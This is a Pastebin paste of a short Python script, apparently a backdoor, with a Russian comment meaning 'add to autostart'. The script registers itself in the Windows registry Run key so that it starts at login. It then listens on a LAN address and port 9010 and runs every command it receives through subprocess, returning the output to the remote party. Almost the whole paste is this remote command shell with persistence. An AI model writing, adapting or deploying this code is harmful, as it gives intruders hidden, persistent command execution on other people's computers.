daily pastebin goal
77%
SHARE
TWEET

Untitled

a guest Feb 19th, 2019 92 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import subprocess, time, os, sys
  2. import socket
  3. from threading import Thread
  4. from _thread import *
  5. import threading
  6. import socketserver
  7. import winreg
  8.  
  9. # Добавить в автозагрузку
  10. key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_ALL_ACCESS)
  11. winreg.SetValueEx(key, "Shell", 0, winreg.REG_SZ,"shell.py")
  12. key.Close()
  13.  
  14.  
  15. def run(c):
  16.     cmd = conn.recv(1024).decode()
  17.     while(cmd != '0'):
  18.         process = subprocess.Popen(cmd.split(),
  19.                              stdout=subprocess.PIPE)
  20.  
  21.         out, err = process.communicate()
  22.         out += b' '
  23.         c.send(out)
  24.         cmd = conn.recv(1024).decode()
  25.     c.close()
  26.  
  27. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  28. HOST, PORT = "192.168.0.102", 9010
  29. sock.bind((HOST, PORT))
  30.  
  31. while True:
  32.     sock.listen(1)
  33.     conn, addr = sock.accept()
  34.     start_new_thread(run, (conn,))
  35.  
  36. sock.close()
  37.  
  38. cmd = conn.recv(1024).decode()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top